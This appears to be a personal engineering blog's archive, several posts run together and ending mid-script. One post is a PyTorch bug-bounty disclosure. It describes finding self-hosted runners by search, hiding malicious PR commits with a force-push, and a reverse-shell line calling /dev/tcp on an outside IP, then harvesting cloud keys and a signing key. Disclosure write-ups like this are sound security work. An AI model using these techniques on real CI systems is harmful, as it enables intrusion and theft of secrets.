paperless-ngx is a super cool way to host docs. I wanted originally to just organize and digitize my receipts and taxes in a way that will stay backed up and easy to find.

Then I realized I want to simplify it because that process can take a long time manually.

First: I set up mailgun for my tld, lets say mail.foo.com Mailgun has a free tier thats more than enough for my low volume use-case, and they allow you to forward messages after filters to a webhook.

I created a route that checks that I sent it and forwards it to something I deployed (will go over that futher below) behind a tailscale funnel (so that it can be exposed to the wider net).

Next I wrote a super minimal flask app called mailgun-to-paperless-ngx that will take the attachments from mailgun and upload them to paperless-ngx using the To as tags. Example: receipt+work@mail.foo.com with an attachment dinner.jpg will upload it to paperless as dinner (title) and tags receipt and work.

Lets see it by sending this image out to testing@mail.foo.com.

We see mailgun posted it.

We also now see that the flask app is processing and uploading it:

1
2
3
4
5
6
7

file saved to /tmp/dinner.jpg
Uploading dinner.jpg to http://paperless-ngx.paperless-ngx.svc.cluster.local:8000 with tags [20]
Upload complete. Task ID: d8148db1-19a2-4392-8e3b-17f16fc905ef
Checking on task d8148db1-19a2-4392-8e3b-17f16fc905ef ...
waiting for task d8148db1-19a2-4392-8e3b-17f16fc905ef to complete...
Checking on task d8148db1-19a2-4392-8e3b-17f16fc905ef ...
task d8148db1-19a2-4392-8e3b-17f16fc905ef completed successfully

And now it’s in paperless as expected

I needed to PoC a solution for SSH users that are backed by an IdP but ran into some issues.

EC2 Instance Connect (IMO) seems to be way under promoted by AWS, and I feel like that’s a real disservice if you need (I’m so sorry for you) SSH (I do for this case).

The TLDR for ec2 instance connect:

• A user makes a call aws ec2-instance-connect send-ssh-public-key --instance-id i-08e2c277f1ea9a99a --instance-os-user mark.young --ssh-public-key file:///home/myoung/.ssh/asdf.pub
• AWS pushes the public key to http://169.254.169.254/latest/meta-data/managed-ssh-keys/active-keys/mark.young for 60 seconds
• The user does ssh -i {private key that matches the public key} mark.young@{public ip of the instance} and gets in.

That’s crazy cool, but we have a few issues outright (major ones):

• You can impersonate. There’s nothing keeping me from doing --instance-os-user not.me and getting in. Fine in small cases bad for observability. You could tie this back to a user but that sucks. Youd have to tie back the SendSSHPublicKey cloudtrail call with the iam user/role via the request params to the box, and if youre not shipping auth.log youre screwed. If 100 people do this at once you’ve lost. There’s no way to see which key material let who in to run what. If you thought “Oh I’ll use sts principaltags” I love you. Keep reading.
• Users have to exist ahead of time. This is the big one. If you thought “What if we create them when they send they create the key on the host”. You can’t. Not easily anyway. If you think it’s still solvable or said “What about NSS” keep reading homie.
• There’s no documented rate limits. I’ve brought this up, no answer yet. I might see if I can break this ;)
• You cannot directly do this to private instances. You’ll need public instances or bastions to do this. I’ll give you a snippet for that too.

Let’s get started.

First we need to bring up an Okta with IAM identity center. Sorry peeps but if you think I’m doing that walkthrough just ctrl+w and touch grass. Not happening.

Let’s assume you have a working IdP and you can get into AWS. Let’s start there.

So impersonation….

The answer here is an SCP and sts principalTags. For the principal tags, it’s sort of straight forward. Unless you discover an IAM identity center bug like I did. If you’re using IAM identity center: You’ll need to use https://aws.amazon.com/SAML/Attributes/AccessControl:{ attr name} in Okta.

The bug? Do not use both AccessControl and PrincipalTag. Apparently the IdC freaks out during the SAML jank and wont do anything.

So in Okta, add this:

Also while you’re add it make sure you’re using the nickName for the username.

At this point go ahead and measure success by making sure that your user is in the first.last format and your AssumeRoleWithSAML call in Cloudtrail has the principalTags on the requestParameters. And by that I mean get angry and weep for 8 hours then find out you’re hitting an invisible AWS bug. I’ll wait.

Thanks for coming back.

Your user doesn’t have to be in this format but it tracks with my needs and my SCP as well as my janky NSS code. Modify it if you need. You do you.

1
2
3
4
5
6
7
8
9
10

"eventName": "AssumeRoleWithSAML",
"awsRegion": "us-east-1",
"sourceIPAddress": "5.3.9.1",
"userAgent": "aws-internal/3 aws-sdk-java/1.12.451 blahblahblah",
"requestParameters": {
    "sAMLAssertionID": "_94942c8c-6b73-4912-86f9-14c",
    "roleSessionName": "mark.young",
    "principalTags": {
        "userName": "mark.young"
    },

OK. Now that you’re getting the metadata lets lock it down.

We’re going to apply this SCP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyPublicKeyNotOwnedBySelf",
      "Effect": "Deny",
      "Action": "ec2-instance-connect:SendSSHPublicKey",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "ec2:osuser": "${aws:PrincipalTag/userName}"
        }
      }
    }
  ]
}

Very cool right? What we’ve done now is said “Any call to SendSSHPublicKey has to have a --instance-os-user param that matches your userName principalTag that was set by okta

Prove it:

1
2
3
4
5
6
7
8

$ aws ec2-instance-connect send-ssh-public-key \         
    --region us-east-1 \
    --availability-zone us-east-1a \
    --instance-id i-08843505c12cf9d7e \
    --instance-os-user myoung \
    --ssh-public-key file:///home/myoung/.ssh/asdf.pub | jq .

An error occurred (AccessDeniedException) when calling the SendSSHPublicKey operation: User: arn:aws:sts::1111111111:assumed-role/AWSReservedSSO_AdministratorAccess_e3aec0c44fb7c2e0/mark.young is not authorized to perform: ec2-instance-connect:SendSSHPublicKey on resource: arn:aws:ec2:us-east-1:847713735871:instance/i-08843505c12cf9d7e with an explicit deny in a service control policy

1
2
3
4
5
6
7
8
9
10
11

$ aws ec2-instance-connect send-ssh-public-key \
    --region us-east-1 \
    --availability-zone us-east-1a \
    --instance-id i-08843505c12cf9d7e \
    --instance-os-user mark.young \
    --ssh-public-key file:///home/myoung/.ssh/asdf.pub | jq .

{
  "RequestId": "5b47d1c2-f8dc-447b-8a0f-6cd5bf060d89",
  "Success": true
}

Bam. Now you can’t straight up ssh as others outright.

OK that part’s done, but we still have another blocker: the user has to exist first. That sucks if you have a thousand users. I don’t know about you but I don’t want to have to sit there and crawl Okta for users that may never ssh in.

OK So the way ec2-instance-connect software works (remember above about what SendSSHPublicKey does and ends it to the metadata endpoint):

• It adds some AuthorizedKeysCommand lines to /etc/ssh/sshd_config
• When A user tries to SSH in and fails first it will then hit http://169.254.169.254/latest/meta-data/managed-ssh-keys/active-keys/{user name}
• SSH Requires that user to exist. If it does, and the public key in memory from the metadata endpoint matches their private key: all good come on in bro

So we can’t rely on crawling, we can’t rely on ssh, but we can rely on nss since thats what ssh relies on for passwd. OK so I sound like an expert but I’m not. A large chunk of this was hacked out by another person at work, but I’m familiar enough. Don’t lose hope in me yet.

So SSH talks to NSS. We can hook into NSS to do some logic and create a user like this

So now in my user-data I have this sin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

#cloud-config
packages:
 - gcc
 - unzip

write_files:
  - path: /usr/local/bin/install-nss-create.sh
    owner: root:root
    permissions: '0777'
    content: |
      #!/bin/bash
      pushd . >/dev/null 2>&1
      cd /tmp
      curl -sL https://github.com/myoung34/ec2-instance-connect-libnss-create/archive/refs/heads/main.zip -o /tmp/nss-create.zip
      unzip nss-create.zip
      cd ec2-instance-connect-libnss-create-main
      make
      make install
      sed -i.bak 's/^passwd:.*sss files$/passwd:     sss files create files/g' /etc/nsswitch.conf
      popd >/dev/null 2>&1

runcmd:
  - [/usr/local/bin/install-nss-create.sh]

I basically compile my nss garbage and add create files to passwd in /etc/nsswitch.conf

This means that when a user attempts to SSH it will hook in my C code that calls a script That script does a curl http://169.254.169.254/latest/meta-data/managed-ssh-keys/active-keys/{user name}.

If it gets a 200-300 code (the user has put a public key in there - remember this only works for 60s) then it will create the user.

After create I still have files so that SSH will go back and look them back up in /etc/passwd. So assuming they ran the aws ec2-instance-connect send-ssh-public-key command then tried to ssh within 60 seconds: they’ll have a user with a matching public key and they’ll get in.

Bonus: we should be able to do this to get into private instances.

For this proof I’m going to assume you have a public instance 1.2.3.4 and a private instance you want to reach 10.0.0.50

Let’s make your ~/.ssh/config file look like this:

1
2
3
4
5
6
7
8
9
10
11
12

Host my-bastion
  IdentityFile ~/.ssh/asdf
  Hostname 1.2.3.4
  User mark.young

Host private-vps
  IdentityFile ~/.ssh/asdf
  ProxyJump my-bastion
  StrictHostKeyChecking no
  Hostname 10.0.0.50
  User mark.young
  UserKnownHostsFile /dev/null

Let’s jump to that private-vps by using the my-bastion as a jump host. Hint: You’ll need to make 2 SendSSHPublicKey calls. One to the public (so you can get into it) and one to the private (so you can also get into it)

First let’s prove we can’t just get in. So you know I ain’t lyin.

1
2
3
4
5
6
7

$ ssh my-bastion 
mark.young@1.2.3.4: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

$ ssh private-vps
mark.young@1.2.3.4: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
kex_exchange_identification: Connection closed by remote host
Connection closed by UNKNOWN port 65535

Told you. Let’s push the key to both. (remember you have 60s. obviously id write a tool for this later).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

$ aws ec2-instance-connect send-ssh-public-key \
    --region us-east-1 \
    --availability-zone us-east-1a \
    --instance-id i-08e2c277f1ea9a99a \
    --instance-os-user mark.young \
    --ssh-public-key file:///home/myoung/.ssh/asdf.pub | jq .Success
true

$ aws ec2-instance-connect send-ssh-public-key \
    --region us-east-1 \
    --availability-zone us-east-1a \
    --instance-id i-004b083d55a6d76c7 \
    --instance-os-user mark.young \
    --ssh-public-key file:///home/myoung/.ssh/asdf.pub | jq .Success
true

$ ssh 10.0.0.50
Last login: Tue Apr 25 19:54:31 2023 from ip-10-0-0-50.ec2.internal

   __|  __|  __|
   _|  (   \__ \   Amazon Linux 2 (ECS Optimized)
 ____|\___|____/

For documentation, visit http://aws.amazon.com/documentation/ecs
1 package(s) needed for security, out of 3 available
Run "sudo yum update" to apply all updates.```

Very cool. So what did we accomplish?

• New instances have absolutely zero requirements on anything other than that very early PoC libnss module. Ideally I could package that up.
• We have the normal SSH auditing story. auth.log lines up. We have cloudtrail logs that tell us people are ssh’ing in and where.
• We have JIT users.
• We use the same IAM stories for ssh. If I have 8 accounts I know that you need access to an AWS account to get to the instances into it. We could go further and add more principal tags to say that you can’t do sudo unless you have a tag, or that you can’t ssh at all if you don’t have a certain department. This is leagues better than some of the paid software I’ve tested.
• We increased no load to any custom tooling. Teleport has etcd, an SSH CA has some unique problems to solve, etc.
• Our onboarding and offboarding story for ssh is now the same as IAM
• In an incident etc we can simply block SendSSHPublicKey for suspicious users and pkill sshd for the named user (a win over shared users) on the bastion and effectively kill them off everywhere.

This lets me send data from my tilt to (in my case) datadog via Zapier!

Lets dive in:

The tpicoc3 has 2 chips that can talk over UART.

• A raspberry pi RP2040 that can read the buttons and write to the TFT
• An ESP32 that can do BLE/Wifi

So for this Im using micropython on the ESP32 to read BLE for iBeacons (tilts allowlisted), connect to wifi, send the data both over UART and HTTP POST. The RP2040 will read on UART and display to the TFT.

You flash the different chips by USB-C polarity (flip the cable).

First we have to figure out which side is which. If you plug it in and run dmesg you’d see either something that says RP2040 or JTAG (ESP32). Below is the dmesg output for ESP32

1
2
3
4
5
6
7
8

[ 1149.114007] usb 2-1.5: USB disconnect, device number 3
[ 1151.132877] usb 2-1.5: new full-speed USB device number 5 using ehci-pci
[ 1151.247319] usb 2-1.5: New USB device found, idVendor=303a, idProduct=1001, bcdDevice= 1.01
[ 1151.247328] usb 2-1.5: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 1151.247332] usb 2-1.5: Product: USB JTAG/serial debug unit
[ 1151.247334] usb 2-1.5: Manufacturer: Espressif
[ 1151.247336] usb 2-1.5: SerialNumber: 60:55:F9:73:D5:7C
[ 1151.247876] cdc_acm 2-1.5:1.0: ttyACM0: USB ACM device

Lets erase this bad boy. You’ll need to install esptool first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

➜  Downloads esptool.py --chip esp32c3 --port /dev/ttyACM0 erase_flash
esptool.py v4.4
Serial port /dev/ttyACM0
Connecting...
Chip is ESP32-C3 (revision v0.3)
Features: WiFi, BLE
Crystal is 40MHz
MAC: 60:55:f9:73:d5:7c
Uploading stub...
Running stub...
Stub running...
Erasing flash (this may take a while)...
Chip erase completed successfully in 10.6s
Hard resetting via RTS pin...

Next lets grab the binary for the ESP32C3. That is (currently) here

$ wget https://micropython.org/resources/firmware/esp32c3-usb-20220618-v1.19.1.bin

Lets flash it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

➜  Downloads esptool.py --chip esp32c3 --port /dev/ttyACM0 --baud 460800 write_flash -z 0x0 esp32c3-usb-20220618-v1.19.1.bin 
esptool.py v4.4
Serial port /dev/ttyACM0
Connecting...
Chip is ESP32-C3 (revision v0.3)
Features: WiFi, BLE
Crystal is 40MHz
MAC: 60:55:f9:73:d5:7c
Uploading stub...
Running stub...
Stub running...
Changing baud rate to 460800
Changed.
Configuring flash size...
Flash will be erased from 0x00000000 to 0x0015dfff...
Compressed 1431808 bytes to 868690...
Wrote 1431808 bytes (868690 compressed) at 0x00000000 in 10.4 seconds (effective 1104.9 kbit/s)...
Hash of data verified.

Leaving...
Hard resetting via RTS pin...

If you want to send the data via HTTP POST, grab that here

$ wget https://raw.githubusercontent.com/pfalcon/pycopy-lib/master/urequests/urequests/__init__.py

Load up thonny and flash it. Make sure you jump IO9 to GND (one time cost). In Thonny load up this code

Make sure to modify the HTTP post information (or remove it altogether) as well as the wifi info

Hit save, choose the microcontroller and youre done here.

Next: the other side. Flip your USB c cable. Now hold the Boot button, press Run, let go of boot. The screen will go black and you should see a new drive show up named RPI-RP2

Lets flash it.

You’ll need tinygo and go set up. If you dont: then just drop the (asuming you trust me, but the RP2040 cant use wifi or anything anyway) binary from here

Drop it into that RPI-RP2 drive and unmount it.

Bam. Done.

Timeline

• 4/18 Initial research/exploit with an automated case response.
• 4/20 First human response to forward to the pytorch team.
• 4/27 I reached out to follow up.
• 5/11 Meta responds that there is no update.
• 6/9 I reach out again to ask about bounty terms and push for a >6 week response.
• 6/22 Meta responds: Unfortunately after discussing this with the product team this isn't an issue we're going to fix or reward, although code execution is possible on these machines its by design and additionally the product team has mentioned that the actions are spun up on short lived nodes (similarly to how github operates their own action runners) which limits the impact further.
• 6/24 I respond with multiple follow ups explaining (and again exploiting further) the scope and severity including secrets exfiltration and prove lateral movement abilities. I exploit it further and PyTorch notices and bans my user. I set up a zoom call to talk.
• 6/27 Call goes well, team is respectful and insightful, discuss remediation, things affected and scope.
• 6/30 - 7/22 I use favors to get in contact with the team after another month of no responses.
• 7/22 - Meta responds ‘We’re still in discussion with the product team’ and refuses further discussion about impact and bounty
• 8/16 - Another follow up sent with no responses.
• 8/19 - After more favors I’m able to escalate it to a new security engineer at meta that provides an extremely long and helpful response
• 8/22 - 8/24 - Back and forth about scope and impact
• 8/24 Resolved and $10,000 bounty paid out with a 7.5% bonus due to timeline

Extra resources

• iterative blog post referencing this
• Github’s revert

The Gritty

I run a somewhat successful open source github action runner project

Github provides CI runners but they have some nuances around configuration and ability. You can run your own, however, if you have special needs such as hardware requirements, security policies, etc.

There’s a lot of information around the hardening of these that indicate that running them on public repos is a bad idea.

That said: if you need to you still can but you should be mindful of a few settings.

The most important setting is what I decided to go after.

That first checkbox isn’t the default, but if you’re not careful it seems safer than it is. What it means is that if you’re not a new user, you can submit changes to the CI yaml and itll affect what’s run in the PR. So that’s what I did.

I spent an hour or so using carefully crafted google search like site:github.com inurl:workflows +"self-hosted" and pulled up around maybe 30 or so candidates.

The issue is that there’s no way to know if they have this checkbox until you open a PR and you potentially notify people of what you’re doing.

Throughout these pull-requests I was able to further abuse a github UI bug that let’s me “hide my commit” and it appears as though I merged my PR. It’s confusing and weird but it removes the ability for them to see what I was doing.

What I did here was:

• Fork the repo.
• Make a change to github actions workflows that appear to have self hosted runners looking for jobs (making sure to keep runs-on: self-hosted) with something like: run: echo "Testing refactor".
• Push the commit with a boring message like “Refactoring”.
• Immediately do git rebase -i HEAD^. This is the key part. This basically resets my branch to the default branches SHA. Meaning there’s no difference at all in tree history between the default branch (that I targeted for a PR) and the current branch/PR now.
• git push origin {branch_name} -f

The bug above is simply that the github UI now sees no changes to the branch (0 files changed). And since the SHA exists as the HEAD SHA on the default branch: it looks merged. Now there’s no way to see what I did. The emails from git only show a link to the PR with some metadata that a file changed, but not what. If someone had an integration it would have had to be able to pull the diff from my SHA to theirs immediately. Because I force pushed it’s no longer in existence in my fork so it’s gone forever and after a few seconds there’s no way to pull what my change showed.

The best part is: it already kicked off a potential github actions run though.

So here one of two things happens:

• It runs and you’ll know because you’d see echo "Testing refactor"
• It doesn’t run because they had the checkboxes set correctly and you’d see this:

Now it’s late at night, I’ve sumbitted and undone roughly 30 PR’s until I get a hit.

PyTorch.

This repo has a ton of yml in all shapes and fashion. And it makes sense to use self-hosted because of all the specialized hardware to run GPU acceleration.

I basically had full reign to any of these now that I can submit any change to CI.

The question is only: is there monitoring in place? Honestly this isn’t common because CI is just all over the place. Tests change, infra is all over the place with requirements changing in dependencies, etc.

So I decided to shell in with a reverse shell. A reverse shell means I’m going to make it connect to something I have so that I can get into it as opposed to me going into it directly. Same result, but backwards. To do that I spun up a small digital ocean box and set up a reverse shell listener with nc -u -lvp 9001

On CI I issued a pull-request with
run: sh -i 5<> /dev/tcp/143.110.155.178/9001 0<&5 1>&5 2>&5

On my digital ocean box: I’m now connected to the machine.

From here I noticed 2 things:

• Some of these instances are ephemeral AWS instances that have root by default and a file with plaintex IAM user keys for circleci
• Some of these intances were less ephemeral Jenkins instances that didnt run as root but allowed sudo.

Basically they wouldn’t live forever but I had root on both.

My first attempt was to exfiltrate CI secrets but this didn’t quite work because forks cant exfiltrate secrets via the actions yaml (theyre not in the forked repo). I was able to prove, however, that a few things such as Android builders ran via docker and would land on these instances with the secrets nightly + on-demand. I can’t force that to happen but I would be able to exfiltrate the signing key once the docker container was running with docker inspect {container id} | jq '.[].Config.Env[0]'

Next: AWS abuse. I wasn’t able to find out directly but these instances had access to many s3 buckets. They likely had write access to some meaning I could plant files but that’s boring. What they did have though was ECR image support. Without ECR Immutable tags on (confirmed) I would be able to rebuild any image for use by downstream internal projects. Meaning that if downstreams werent locking images to their build SHA’s (most dont on latest or semver tags in general) I could implant anything into these containers and re-push them so that downstream projects would pull them. The effect of this at this time is unknown as this isnt the pytorch distributable, but the hope would have been that I could supply-chain internally. This scope stays “tbd”.

It also didn’t appear that these run in a VPC meaning that unless security software is installed there’s nothing to prevent me from doing boring malicious stuff like mine crypto, blast emails, etc. If it were in a VPC I’d still have this possibility but things like GuardDuty (if enabled) would catch me doing things and flag it as irregular activity. Not worth it here and a good way to violate reasonable disclosure.

The IAM access (both from the role attached to the instance) and the IAM user were overprovisioned and also contributed to the bounty. The PyTorch team is futher lowering the permissions here to only necessary as well as (I’m assuming) bucket policies to match.

About a year ago I got my hands on a Batman pinball that was in very bad shape and gutted for $300 (an unheard of price even for that shape). I decided to go all in and just wing it.

I removed the legs and bought new Williams/Bally black legs from pinballlife.com

You can see the shape its in generally. The wood is complely broken on every edge. The rails and lockdown bar were rusted but in great shape. I contacted someone locally that does metal work and got them brushed then powder coated. They came out looking brand new.

Next was the body work

I got the new artwork from Retro Refubs. Theyre vinyl which kind of stinks compared to the original artwork. Don’t get me wrong, it looks absolutely fantastic but theres something about the original artwork being printed directly on the wood that I love (I dunno what that process is called).

The front speaker panel was missing everything and the logo was obviously hand painted. I bought new grills and used an angle grinder to en-biggen the cut out for a PinDMD v3.

I did a shit job because angle grinder so after the DMD fit I 3d printed a bezel that came out looking great.

Next Was the screen.

I only had a 22” LCD and it came out just looking bad. There was so much wasted space due to the backglass housing being a near perfect square, so a rectangle left a ton of vertical space even though it was fairly large.

I used this time to research square LCDs. Turns out these are niche af. I ended up landing on a LM265SQ1-SLA1 which is 26.5x26.5” square but 1920x1920. I also ended up finding an unbranded 12V board that claimed to support that resolution and the same LVDS 4 channel 8 bit 92 pin connector. It worked out great. You can see the size difference between the original on the left and the LM265SQ1 on the right from the backside. It was also expensive as shit at roughly $500 for the screen + controller.

I then mounted it using the same bracket as before and a sliding lock and got a local glass shop to cut a custom tempered ¼” glass panel for it. It ended up a few millimeters too wide so its a total pain to get in but i was able to do it without shattering it.

I then started putting a computer in it. I used an intel i5 with a quadro m4000 I happened to be sitting on. I originally mounted it normal but it did not work with the coin door and I really wanted the computer to be reachable where it was since it fit great.

I ended up getting a PCI-e flex cable and mounted it to the side with a stand to survive gravity. I also 3d printed custom mounts for the power supply and coin buttons so i could mount momentary switches and use the coin buttons as inputs for the virtuapin controller + digital plunger.

Next I found a 46” TV that fit like a dream after removing the LCD from the panel. I ended up mounting it similar to this (not my pinball in this photo):

I ended up welding pipe mounts directly to the steel backing on the LCD. This was a risky move considering the … you know … electrical nature and heat of a welding machine but it worked. I went slow and just did a few tack welds then slid a galvanized pipe through it so I can lift it up for access. Then I built a bezel out of wood and vinyl wrapped it in black vinyl and laid the glass in.

Lastly I resin printed a bunch of custom L brackets (because I wanted them as tiny as possible and couldnt find any that were under 6mm wide). I resin printed about 24 of them at a time so it took a few days.

After carefully taking it home I set it up and put the Batman Returns lego Batmobile me and the kiddo built on top as a DIY topper

The software its running is still in progress but works great. Just turn it on and windows loads the PinballX front end that pulls in some Pinball FX3 games (cheesy but people that come over love it) and some VPX (which look almost real!) games like Johnny Mnemonic, Addams Family, etc. The bumpers and gyro all work great. I have a servo in there but it draws too much power if you press the bumpers too fast and causes the USB bus to falter and require a windows restart so I’ve not hooked it back up.

If youre curious here’s some of the parts list:

• Paid $50 Used - Vizio E461-A1
• Paid $300 - Batman Data East
• $200 - Data East Batman Vinyl Artwork
• $450 - LG LM265SQ1-SLA1
• $30 - LVDS controller
• $180 - Virtuapin Plunger kit + controller
• $75 - Data east coin door
• $300 - PinDMD v3

If I had to guess I spent roughly $1500 out of pocket. If I wasn’t sitting on parts it would be closer to $2200.

I backed this project because plaato makes really good quality stuff. The idea of having a weight based keg estimator for my barcaderator was key. They promised multiple times they’d allow people to capture the data themselves. They have yet to deliver.

1
2
3
4
5
6
7
8
9

Andreas (PLAATO)

Aug 12, 2020, 3:14 PM GMT+2

Hi! We've unfortunately had to put the webhook for PLAATO Keg
on the back burner as we are working on other projects, 
particularly with our backend, that take priority at the moment. 
While we would very much like to implement the webhook we 
unfortunately don't have any ETA on this as of now.

1
2
3
4
5
6
7
8
9
10
11
12

Abi from Plaato

Feb 11, 2022 2:21 AM GMT+2

Hey Mark,

Thank you for sharing. What I will do to make sure your voice is 
heard is to share your message as a Feature Request to the development
team.

I hope this helps, please let me know if you have any additional 
questions.

So I decided: why not do it myself?

In january 2020 I did a PyTN talk about how to sniff the data. While cool, it didn’t really bear much fruit. The amount of effort to make this be my end game was a bit much and I’d be reliant on always intercepting it. I did however know that its got an ESP32-D0W0 (wroom) as the brains and it didnt look that complicated.

So I took it down again and flashed a basic esphome build to it (the code is here.)

This was easier than it looks, you just need a steady hand. Once you flash it the first time you can do pure OTA updates.

I wont go into absolute detail but you can just look at the pinout for the ESP32 and solder leads to the pins directly. RX, TX, Gnd, Vcc, and GPIO (grounded) directly to an FTDI programmer.

First I made a backup of the original firmware:

1
2

esptool.py --chip esp32 --port /dev/tty.usbserial-00000000 \
  -b 115200 read_flash 0 0x400000 plaato_backup.bin

Then I flashed the new one built from ESPhome:

1
2
3

esptool.py --port /dev/tty.usbserial-00000000 write_flash \
  --flash_mode dio --flash_freq 40m --flash_size detect 0 \
  plaato.bin

Now it shows up in ESPHome as expected!

I then used a (very old) osciloscope to try to map out the load cells (load cell combinator is pretty boring (yayyy) and just drags the voltage, ground, data, etc over a ribbon cable to the main PCB. This main PCB uses a P## notation which are not 1:1 with the ESP32 (booooo)

I was able to discover that the clock for this is P14. I then used a multimeter to correlate P14 to GPIO16 (by dragging the other load across all the ESP32 pins until a beep gave it away). I did this to discover the data pin from the load cell combinator is P28. My handy dandy Multimeter let me correlate P28 to GPIO 17 on the ESP32.

I was able to figure out the LEDs without an oscilloscope by just using a multimeter. The main PCB just uses GPIO to turn those pins high or low to run the 3 LEDs, which is boring (yay).

The rest was trial and error.

Next I used zapier webhooks to receive the HTTP Post from esphome to send it to Zapier, which then sends it to datadog.

Check out the repo for my up to date esphome yaml

This took about a year, off and on. With covid I finally found some time to finish it.

Build Hardware

• Base was customized heavily by me from this one. Mine here supports less ugly wrist pads IMO, printed in Wood PLA from hatchbox on a taz6 at 0.1micron height
• Feather 32u4
• TRRS cable
• MCP 23018 io expander
• Wrist rests
• GMK Oblotzky Oblivion V2 caps
• Holy Panda switches
• Amoeba single switch PCB’s
• 1N4148 diodes

Notes

I ran into a lot of issues.

1. With the feather I had to swap GPIOA and GPIOB for EXPANDER_COL_REGISTER and EXPANDER_ROW_REGISTER
2. It took months for me to realize that the Serial stuff with SPLIT_KEYBOARD here does not work with an IO expander like the MCP23018. This is poorly documented IMO. You have to use two of the same chipsets to use that feature and the feather 32u4 aint cheap
3. this issue would have been massively helpful originally to know I was wiring it incorrectly.
4. Swapping the board from the right side to the left side turned out massively tedious and my PR suffers for it.
5. Im dumb and bought a mislabeled TRS cable as a TRRS cable and it obviously didn’t work combined with my inability to count the rings on it.

Pics or GTFO

If you see a trend in my latest blogs it’s likely you’ll guess i really like OPA.

We use it in EKS to report on assertions consistently across all our clusters.

I use it to run tests against the gatekeeper rules.

It’s pretty awesome, and it supports terraform plans.

The Set-Up

I started off by forking the upstream atlantis AMI and baking the aws-cli into it.

In my atlantis.yaml I set up all the repos to use a new workflow opa-workflow such:

1
2
3
4
5
6
7
8
9

workflows:
  opa-workflow:
    plan:
      steps:
        - init
        - plan
        - run: terraform$ATLANTIS_TERRAFORM_VERSION workspace select -no-color $WORKSPACE
        - run: terraform$ATLANTIS_TERRAFORM_VERSION show -json $PLANFILE >"${PROJECT_NAME}_${PULL_NUM}_$(git rev-parse HEAD).json"
        - run: aws s3 cp "${DIR}/${PROJECT_NAME}_${PULL_NUM}_$(git rev-parse HEAD).json" s3://bucket_name/terraform/tfplan/ >/dev/null

This pushes the plan file as production_1234_somesha11122.json into the bucket.

Next we have an AWS lambda with conftest built in. It responds to terraform/tfplan/*.json S3 create notifications, parses out the SHA, PR number, and workspace from atlantis, then runs:

1
2
3
4
5
6
7
8
9
10
11
12

command:= exec.Command(
  "/var/task/bin/conftest",
  "test",
  "--no-color",
  "--output",
  "json",
  "/tmp/tfplan.json"
)
output, err := command.CombinedOutput()
if err != nil {
  fmt.Printf("[%s] conftest failed: %v", time.Now().Format("2006-01-02 15:04:05"), err)
}

Once this works, we can parse back the info to a comment and send a success|failure status to the git sha!

1
2
3
4
5
6
7
8

if statusString == "failure" {
  atlantisStatus := &github.RepoStatus{
    State: github.String(statusString),
    Description: github.String("TerrOPA Failures"),
    Context: github.String("atlantis/plan"),
  }
  client.Repositories.CreateStatus(backgroundctx, orgName, repoName, gitSha, atlantisStatus)
}

Update

I’ve had a few people ask me why I did it this way as an AWS lambda vs just running it on atlantis. I actually tried this first, but it wasn’t “clean”.

First: if atlantis plan fails, its not very intuitive, especially if it’s not a terraform error. It’s kind of an unformatted stack trace.

With that exception it’s not very feedback friendly. The point of this project is to provide a clean feedback loop for those who may not know or care what OPA is. We have quite a few methods of automatically generating terraform projects from cookie cutter + modules. I wanted a way of providing as much context as possible.

Next: we have a fairly large engineering team and I like to work in a “plugin” modal. When I’m introducing something new I like to be able to toggle it on and off quickly, or gather metrics before pushing for changes. In this way, it’s completely separated from Atlantis and has its own SDLC, which is nice from a “Mark, you broke everything” perspective.

Lastly I had to make a call from a security perspective. The point of this is 100% to be able from an upper architectural/infosec level to make assertions. For example: tagging. Tagging for us is partially for billing, partially to see our accountability plane, but mostly so that we can scope least privilege.

Having this with atlantis would mean the policies live in the atlantis repo for the container builder - I dont want to bounce atlantis every time we add/change policies.

Otherwise it would mean the policies live with the terraform which means that you could modify the assertions per-branch which is also a choice we made to avoid. These policies are open for contribution from everyone but it’s an explicit rule that it’s not meant to be able to shifted per branch and introduce a threat model around modifying it to pass when it shouldn’t.

I’ve spent the last year figuring out what I want to control “things” in my house. And after wasting a bunch of time and money I finally have a set up I like.

The Network

I don’t have any crazy networking gear, just a Netgear r7000 running Kong

I now have a very different set up.

Configuring this for my setup is painful, but:

• Main Network (wired + wireless N+AG): I whitelist all my devices by Mac Address and assign static IP’s to things.
• Guest Network: no whitelisting, can only reach the internet
• Black Hole Sun: My black hole wifi for things I don’t trust like my TV. I know for a fact that the TV tries to send data over open wifi’s so my hope here is to prevent that by giving it valid networking that just cant talk to anything at all.
• Server network: My main server stuff is here. A nomad cluster across an i7 server and a bunch of pi’s, also a DS918+. DNS is here because I use Consul with dnsmasq. Some smart stuff lives here like my ecobee.
• IoT Network: the real meat. This is nearly the same as the black hole one except it can talk to the Server Network for C&C (esphome)

The Software

First I played with tasmota and the devices would randomly require me to set them up again.

Have you ever bought a device that turns on, sets up an AP for you to connect to then configure it? Thats a lot like Tasmota.

The problem is that in just a few days I had to set up the same devices multiple times. So I’d go to do something, it wouldnt exist in homeassistant, and Id see a few tasmota-##### AP’s I had to set up again.

I solved this by pulling the source code down, modify the configs (which took a lot of figuring out for the settings), compile it, flash it. Per device.

Then I had to upload the actual config for pins/buttons/etc. I hated this. Every second of it.

After playing around with way too many things, I finally landed on esphome.

Esphome is amazing. It has over-the-air updates, it automatically compiles based on some yaml and uploads it! If it cant upload it (like the initial flash) I would simply set up the yaml, compile it, SCP it locally and flash it with https://github.com/espressif/esptool. If this worked, it would now support OTA updates.

Because its a bunch of yaml I can source control it too!

It uses passwords for both API integrations (home-assistant) and for OTA updates (same or different password) which makes me feel good.

Also: the server runs as a container, so its running on my Server network on nomad. I can simply go to http://esphome.service.consul and click “Upload” to update my IoT.

As for the controlling the devices I chose home-assistant. It has great support for ESPHome.

The Devices

This is what you’re really here for. Everything is ESP based for esphome.

I flashed almost all of these with an ftdi serial adapter and esptool.py similar to

1
2
3
4
5

#!/bin/bash
